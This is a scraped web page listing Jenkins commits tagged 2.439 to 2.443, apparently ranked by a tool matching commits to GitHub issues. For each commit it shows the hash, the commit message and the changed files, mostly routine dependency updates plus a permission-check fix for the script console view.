    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8892
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency prettier to v3.2.4 (#8892) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/.babelrc - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency stylelint to v16.2.0 (#8886) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d982cad688a11e2a4038e3818103de25fc5153a9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8886
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency stylelint to v16.2.0 (#8886) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass to v1.70.0 (#8883) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 702d2f206330f43297654413e5df3d4bc73c1fd0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8883
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass to v1.70.0 (#8883) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency css-loader to v6.9.1 (#8885) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8f955329ba92e57137ce8cc237d9fcd5ed1ce70d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8885
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency css-loader to v6.9.1 (#8885) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency css-minimizer-webpack-plugin to v6 (#8882)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 448eccd0d3bc42d5e107c6e5c4b9e6aafb9ac613 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8882
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency css-minimizer-webpack-plugin to v6 (#8882) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss-loader to v8 (#8880) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 178b79035e26e8d2c20d784b05866a289183fab4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8880
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss-loader to v8 (#8880) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass-loader to v14 (#8877) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f63866ea9a16d2ed79df3ad0a02c219cdfd18d25 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8877
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass-loader to v14 (#8877) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:structs from 325.vcb_307d2a_2782 to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 788d93b49692bcb0b686c519f122a1f73f0b4ad6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8876
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:structs from 325.vcb_307d2a_2782 to 337.v1b_04ea_4df7c8 (#8876) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency prettier to v3.2.1 (#8868) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f6febb1cabfbe0b636861f5d688514dc49493169 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8868
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency prettier to v3.2.1 (#8868) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Tim Jacomb <timjacomb1@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/.babelrc - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:junit from 1252.vfc2e5efa_294f to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9f8d343f057e3f3ea988684b9dab509d64999a20 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8869
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:junit from 1252.vfc2e5efa_294f to 1256.v002534a_5f33e (#8869) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency mini-css-extract-plugin to v2.7.7 (#8865)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7a93bc5c9da4db554531195c37e9dad8415280c0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8865
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency mini-css-extract-plugin to v2.7.7 (#8865) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72543] Fix permission check in script console view (#8858)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 48661db9d1dad55af5300d3783b2834a7b15c41f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8858
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72543] Fix permission check in script console view (#8858) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/lib/hudson/scriptConsole.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency lit to v3.1.1 (#8863) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6f6d99af8426c1c5878a210eb38836c7b41c3363 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8863
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency lit to v3.1.1 (#8863) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/site/site.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Rely on parent pom spotbugs configuration (#8855) Rely on spotbugs... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d36cf82d91b7a58fa6e1150ad5da90791beed339 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8855
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Rely on parent pom spotbugs configuration (#8855) Rely on spotbugs configuration from parent pom Removes the 81c3249ca0e6bcc69e1caa2e6828ec6c8c0884cd workaround that was added in pull request https://github.com/jenkinsci/jenkins/pull/8803
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency css-loader to v6.9.0 (#8862) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7540c95767604c1d1ae0226bc8f086aa733fa2eb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8862
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency css-loader to v6.9.0 (#8862) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency style-loader to v3.3.4 (#8861) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e7e673d691bb0897db211ea4cdf4a22ab0f3f711 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8861
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency style-loader to v3.3.4 (#8861) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - do not generate td when outside table for buildbutton (#8854)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 53f7e40b198aa34b0089a325eca372aa1e216131 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8854
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      do not generate td when outside table for buildbutton (#8854) projectView renders a buildButton twice once inside a table for wide screens and once outside a table for narrow or mobile screens with one always hidden. But the buildButton always wraps everything in a `td`. When projectView is now itself wrapped somewhere in a table (was done in dashboard-view plugin) then the brwoser will move the `td` to the outer table and it gets always shown and breaks the UI.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/views/BuildButtonColumn/column.jelly - - core/src/main/resources/lib/hudson/projectView.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Increase memory for war assembly (#8856) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - dd7488bc9062afe514254652ec8e4a29843fb125 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8856
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Increase memory for war assembly (#8856)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .mvn/jvm.config - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-66530] Change focus in the 'new item' page only if 'from'... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 214f042834a0cd3888037c791cec4783767bd931 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8807
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-66530] Change focus in the 'new item' page only if 'from' has a valid job name (#8807) * JENKINS-66530: setTimeout/focus switch to 'name' only if field 'from' points to a valid job name * yarn prettier for add-item.js
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/js/add-item.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency @babel/preset-env to v7.23.8 (#8859)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7ed8c33d04c732c623fc0309db10442c7f2a83f1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8859
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency @babel/preset-env to v7.23.8 (#8859) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump SLF4J from 2.0.10 to 2.0.11 (#8846) Signed-off-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5da5ac7e62568908fa29ff8265c696cc6e4c7032 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8846
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump SLF4J from 2.0.10 to 2.0.11 (#8846) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.main:remoting from 3203.v94ce994fdb_31 to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9865a3580b82f465280a83c777400c3ec3c060a6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8847
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.main:remoting from 3203.v94ce994fdb_31 to 3206.vb_15dcf73f6a_9 (#8847) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss to v8.4.33 (#8841) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 004e72746a2732be97263c9a6099bc870f3dbe6c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8841
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss to v8.4.33 (#8841) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.main:remoting from 3198.v03a_401881f3e to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1eb29a879216fa7418724d08d5e9ed212ecd0709 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8836
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.main:remoting from 3198.v03a_401881f3e to 3203.v94ce994fdb_31 (#8836) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fill in since todo (#8839) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 50bc384abde662cf395dc6580f94c7e85303377e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8839
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fill in since todo (#8839)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/ExtensionList.java - - core/src/main/java/hudson/Functions.java - - core/src/main/java/hudson/model/BuildTimelineWidget.java - - core/src/main/java/hudson/model/View.java - - core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java - - core/src/main/java/hudson/node_monitors/DiskSpaceMonitorDescriptor.java - - core/src/main/java/hudson/node_monitors/DiskSpaceMonitorNodeProperty.java - - core/src/main/java/jenkins/console/ConsoleUrlProvider.java - - core/src/main/java/jenkins/console/ConsoleUrlProviderGlobalConfiguration.java - - core/src/main/java/jenkins/console/ConsoleUrlProviderUserProperty.java - - core/src/main/java/jenkins/console/DefaultConsoleUrlProvider.java - - core/src/main/java/jenkins/model/Loadable.java - - core/src/main/java/jenkins/model/PeepholePermalink.java - - core/src/main/java/jenkins/security/FIPS140.java - - core/src/main/java/jenkins/util/DefaultScriptListener.java - - core/src/main/java/jenkins/util/ScriptListener.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass to v1.69.7 (#8835) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 29f3853cb50f4df58f9dcd9af0911a1c621db217 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8835
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass to v1.69.7 (#8835) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Mark Waite <mark.earl.waite@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update XML namespace schemaLocation for incrementals (#8828) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 425df13fcdcc79ccbee68c92aac439e4515a1e76 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8828
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update XML namespace schemaLocation for incrementals (#8828)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .mvn/extensions.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add an 'Appearance' category to the wizard (#8822) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 90b8ed957cfb0d455d00ed36b74e77c59ac9cb5b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8822
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add an 'Appearance' category to the wizard (#8822)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/install/platform-plugins.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Uppercase build cancellation message in build queue (#8824) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e7ed28f7b4d198ddbff0bebd115bdc0f63e134ce -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8824
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Uppercase build cancellation message in build queue (#8824)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items.jelly - - core/src/main/resources/lib/hudson/queue.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update appearance of controls in header (#8791) * Init * Tidy up *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d75833e5e0e1983cb1c9efec28cf6746e547cab0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8791
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update appearance of controls in header (#8791) * Init * Tidy up * Update resources.css * Update resources.css * Tidy up * Update resources.css
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/loginLink.jelly - - core/src/main/resources/hudson/security/SecurityRealm/loginLink.jelly - - core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css - - war/src/main/scss/components/_page-header.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update XML namespace schemaLocation (#8817) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4c423d484267cef3bff602a2e58ae7d7634b1a77 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8817
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update XML namespace schemaLocation (#8817)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - - cli/pom.xml - - core/pom.xml - - coverage/pom.xml - - pom.xml - - test/pom.xml - - war/pom.xml - - websocket/jetty10/pom.xml - - websocket/spi/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update babel monorepo to v7.23.7 (#8820) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 45586a4d28cf1853a3e20fbdff7c6eb6c254d0aa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8820
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update babel monorepo to v7.23.7 (#8820) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.puppycrawl.tools:checkstyle from 10.12.6 to 10.12.7 (#8819)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8118d8862eaaa90d8e850fb23eab4d93d7cfa15d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8819
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
